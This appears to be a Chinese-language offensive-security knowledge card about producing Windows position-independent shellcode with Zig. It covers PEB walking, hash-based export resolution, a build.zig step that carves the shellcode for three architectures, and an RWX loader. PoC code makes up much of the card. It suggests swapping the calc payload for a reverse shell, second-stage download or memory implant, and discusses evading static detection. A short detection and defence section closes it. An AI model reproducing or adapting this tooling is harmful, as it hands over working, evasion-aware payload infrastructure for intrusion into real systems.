♧ Godown 安全知识树

Zig 生成 Windows 位置无关 Shellcode:std.os.windows.peb + comptime API hash/导出表反射 + build.zig 从 DLL 的 go/goEnd 导出提取三架构字节

pentest/c2 · verified

一句话结论

用 Zig 0.11.0 可以把 Windows 位置无关 Shellcode 写成普通 Zig 代码:运行时经 std.os.windows.peb()→Ldr→模块链表拿到 DLL 基址,手工解析 PE 导出表并用编译期 comptime hashApi 做函数名 hash 匹配;构建时用 build.zig 把同一份代码编成导出 go/goEnd 的 DLL,再解析 DLL 导出表取两个符号之间的机器码,即可自动产出 x86/x86_64/aarch64 三架构、约 300 字节的 shellcode,最后用 VirtualAlloc+memcpy+函数指针的 loader 验证执行。

原理

  • Windows shellcode 的通用自举链:TEB→PEB→PEB_LDR_DATA→遍历已加载模块链表拿 kernel32.dll 等模块的 DllBase,再解析该模块的 DOS/NT 头与导出表(AddressOfNames/AddressOfNameOrdinals/AddressOfFunctions),按函数名找到 RVA 并转 VA。整个过程不经过 IAT、不调用 GetModuleHandle/GetProcAddress,适合无导入表、任意地址执行的位置无关代码。
  • Zig 标准库已提供 PEB 入口 std.os.windows.peb();缺少的是 LDR_DATA_TABLE_ENTRY 和 PE 结构定义,需要按 Windows 结构手写(win32.zig)。
  • 地址转换用泛型函数按返回类型分派:rva2va(comptime T: type, base: *const anyopaque, rva: usize) T,@typeInfo(T) 为 .Pointer 时 @ptrFromInt,为 .Int 时要求 usize 并返回整数;否则 @compileError。这样同一份代码既能返回结构体指针,也能返回函数地址整数。
  • 为缩小体积并避免在 shellcode 中保留 API 名字符串,导出函数按 hash 比较:

zig inline fn hashApi(api: []const u8) u32 { var h: u32 = 0x6c6c6a62; // iv for (api) |item| { h = @addWithOverflow(@mulWithOverflow(31, h)[0], item | 0x20)[0]; // 大小写不敏感 } return h; }

这是 Java String.hashCode 的变体:初值 0x6c6c6a62,每字符 31*h + (c|0x20),|0x20 把字母转小写,从而对导出名大小写不敏感。 - API 表用带默认 null 的可选函数指针结构体声明:

zig const apiAddr = struct { WinExec: ?*const fn (lpCmdLine: [*c]u8, UINT: windows.UINT) callconv(windows.WINAPI) windows.UINT = null, ExitProcess: ?*const fn (nExitCode: windows.LONG) callconv(windows.WINAPI) void = null, fn ok(self: *Self) bool { inline for (@typeInfo(apiAddr).Struct.fields) |field| { if (@field(self, field.name) == null) return false; } return true; } };

ok() 用 @typeInfo(...).Struct.fields 编译期反射遍历所有成员,判断是否全部已填充;新增 API 只需加一个字段,解析逻辑自动覆盖。 - getApi:var peb = std.os.windows.peb(); var ldr = peb.Ldr; 从 ldr.InLoadOrderModuleList.Flink 取第一个 LDR_DATA_TABLE_ENTRY,while (dte.DllBase != null) 沿 InLoadOrderLinks.Flink 遍历,对每个模块调 findApi,apis.ok() 为真即停止。findApi 对每个模块:校验 DOS 头、e_lfanew 取 NT 头、读 OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,为零则跳过;解析 IMAGE_EXPORT_DIRECTORY 的 NumberOfNames、AddressOfFunctions、AddressOfNames、AddressOfNameOrdinals;对每个名字算 hashApi,与 comptime hashApi(field.name) 比较,命中则 @field(r, field.name) = @ptrFromInt(adr_)。 - sliceTo([*c]u8) 从 C 字符串指针扫到 NUL 得到 Zig 切片,供 hash 使用;避免依赖 std.mem.len 之类可能引入额外代码的路径。 - 功能入口 pub export fn go() void:取 API 表,WinExec("calc", 0),ExitProcess(0);pub export fn goEnd() void {} 作为结束标记;pub fn main() 调 go() 便于直接运行测试。 - 构建/提取(这是本方法相对于纯 C 的关键工程化部分): 1. build.zig 用 b.addExecutable 为 x86、x86_64、aarch64 分别生成 test-<arch>(-windows-gnu)用于本地验证。 2. 另建 sc 步骤:b.addSharedLibrary 以 -windows-msvc、ReleaseSmall 编译同一 src/main.zig,得到导出 go/goEnd 的 DLL;GenShellCode.create 读取该 DLL,解析其导出表,取 go 与 goEnd 两个导出函数的 RVA/VA,把两者之间的字节(通常同在 .text、连续排列)抠出来写到 sc-<arch> 文件。由于 goEnd 紧跟 go,两个导出符号的地址差就是 shellcode 长度。 3. 用 zig build sc 一次生成三种架构;文章实测每个约 300 字节。 - loader.zig:读取 sc 文件 → win.VirtualAlloc(null, len, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) → @memcpy 到分配内存 → @as(*const fn() void, @ptrCast(@alignCast(ptr)))() 直接调用 → VirtualFree。文章用它验证 shellcode 正常弹出计算器。 - 为什么成立/边界: - 提取的字节必须自包含、无绝对地址重定位:不能引用全局变量、字符串字面量或 .data/.rdata;Zig 代码中的常量和字符串要能内联到代码或被提取范围内,否则加载到任意地址会崩。 - go/goEnd 必须保持导出且不被优化掉/重排;ReleaseSmall 下要检查编译器是否把 goEnd 放到了 go 之后(通常按源码顺序,但需实测)。 - 生成的 shellcode 是架构相关的,loader 必须用同架构编译;x86 与 x64 的 PEB 读取方式由 std.os.windows.peb() 处理,aarch64 走对应寄存器。 - 该链规避的是导入表/API 名字符串检测,不规避对 WinExec 等最终调用的 EDR hook,也不隐藏 RWX 分配行为。

触发条件

  • 需要为 Windows x86/x86_64/aarch64 生成位置无关 shellcode(红队 payload、漏洞利用载荷、CTF)。
  • 具备 Zig 0.11.0 工具链,目标代码不依赖 CRT、全局变量或绝对地址数据。
  • 能接受 PAGE_EXECUTE_READWRITE 分配并直接调用(或被注入进程允许 RWX/可执行内存)。
  • 目标模块(kernel32/ntdll 等)在 PEB 链表中可见,导出表未被剥离(系统 DLL 正常)。
  • 若用于真实目标,需考虑 EDR 对 PEB 遍历、API hash 常量、RWX 分配与直接调用的检测。

利用步骤

  1. 按 win32.zig 补齐 LDR_DATA_TABLE_ENTRY、IMAGE_DOS_HEADER、IMAGE_NT_HEADERS、IMAGE_EXPORT_DIRECTORY 等结构,使用 std.os.windows.peb() 取 PEB。
  2. 实现 rva2va、hashApi、sliceTo;声明 apiAddr 结构并实现 ok()/getApi()/findApi()。
  3. 写 go():解析所需 API(如 WinExec、ExitProcess),执行目标功能;goEnd() 空函数紧随其后;main() 调 go() 便于本机测试。
  4. 在 build.zig 中加 sc 步骤:为三种架构编译导出 go/goEnd 的 ReleaseSmall DLL,GenShellCode 解析 DLL 导出表并提取两符号之间的字节,输出 sc-<arch>。
  5. 用 loader.zig:VirtualAlloc RWX、复制 shellcode、函数指针调用,验证是否弹出计算器/执行命令;按架构选择对应 loader。
  6. 若提取后崩溃:检查是否引用了全局/只读数据、goEnd 是否在 go 之后、编译器是否插入重定位/跳板;必要时把数据改为栈上构造或内联常量。

PoC

核心运行时(节选,完整结构定义见原文仓库):

fn getApi(apis: *apiAddr) bool {
    var peb = std.os.windows.peb();
    var ldr = peb.Ldr;
    var dte: *win32.LDR_DATA_TABLE_ENTRY = @ptrCast(ldr.InLoadOrderModuleList.Flink);
    while (dte.DllBase != null) : ({
        dte = @ptrCast(dte.InLoadOrderLinks.Flink);
    }) {
        findApi(apis, dte.DllBase.?);
        if (apis.ok()) return true;
    }
    return false;
}

pub export fn go() void {
    var apis = apiAddr{};
    if (!getApi(&apis)) return;
    var cmdline = "calc".*;
    _ = apis.WinExec.?(&cmdline, 0);
    apis.ExitProcess.?(0);
}
pub export fn goEnd() void {}

build.zig 中 sc 步骤的要点:

const sc = b.step("sc", "Build ReleaseSmall shellcode");
inline for (&.{ "x86", "x86_64", "aarch64" }) |arch| {
    const dll = b.addSharedLibrary(.{
        .name = "sc-" ++ arch,
        .root_source_file = .{ .path = "src/main.zig" },
        .target = std.zig.CrossTarget.parse(.{ .arch_os_abi = arch ++ "-windows-msvc" }) catch unreachable,
        .optimize = .ReleaseSmall,
    });
    const install = b.addInstallArtifact(dll, .{});
    const c = GenShellCode.create(b, install); // 读 DLL 导出表,取 go/goEnd 之间字节
    sc.dependOn(&c.step);
}

loader(节选):

var ptr = try win.VirtualAlloc(null, data.len, win.MEM_COMMIT | win.MEM_RESERVE, win.PAGE_EXECUTE_READWRITE);
defer win.VirtualFree(ptr, 0, win.MEM_RELEASE);
var buf: [*c]u8 = @ptrCast(ptr);
@memcpy(buf[0..data.len], data);
@as(*const fn () void, @ptrCast(@alignCast(ptr)))();

zig build sc 生成三架构 shellcode(约 300 字节),zig build loader 生成测试 loader,运行后弹出计算器即验证通过。

变体与关联

  • 运行时骨架与 pentest/c2 下「PEB/Ldr 动态解析 API」「IAT 彻底隐身:PEB/Ldr + 导出表 + 函数名 Hash」「PIC Shellcode 开发:.text 自包含 + PEB/EAT」相同;本卡差异是 Zig 实现 + comptime/@typeInfo 编译期反射 + build.zig 从 DLL 导出符号提取三架构 shellcode 的完整工程化流水线。
  • 提取方式变体:C 语言可用 /ENTRY + 只保留 .text 后 dump;Zig 这里用 go/goEnd 导出符号定界,更适合多架构自动化;也可以用 objcopy/自定义 linker script。
  • 载荷变体:把 WinExec("calc") 换成反弹 shell、下载二阶段、注入/内存马;API 表按需增加 LoadLibraryA/GetProcAddress/网络 API。
  • 对抗变体:API hash 常量、函数名字符串、PEB 遍历特征都可能被静态查杀;可配合字符串加密、hash 随机化、间接系统调用等(见 pentest/c2 其他 shellcode 免杀卡)。

检测与防御

  • 检测:监控 VirtualAlloc/VirtualProtect 产生 RWX 或 RX 后立即执行的调用链;监控线程起始地址不在任何模块映射内(shellcode 典型特征);静态扫描 PEB 遍历指令序列、0x6c6c6a62 类 hash 常量、导出表解析代码;对异常 WinExec/CreateProcess 调用与父子进程关系告警。
  • 防御:启用 DEP/CFG/ACG(禁止动态代码);EDR 对 VirtualAlloc RWX、SetThreadContext、CreateRemoteThread 做行为拦截;限制可写可执行内存;对 API 调用做用户态 hook 与 ETW 监控。
  • 开发侧:该技术用于授权红队/CTF 时,应在隔离环境测试,避免把 shellcode 与 loader 落到生产主机。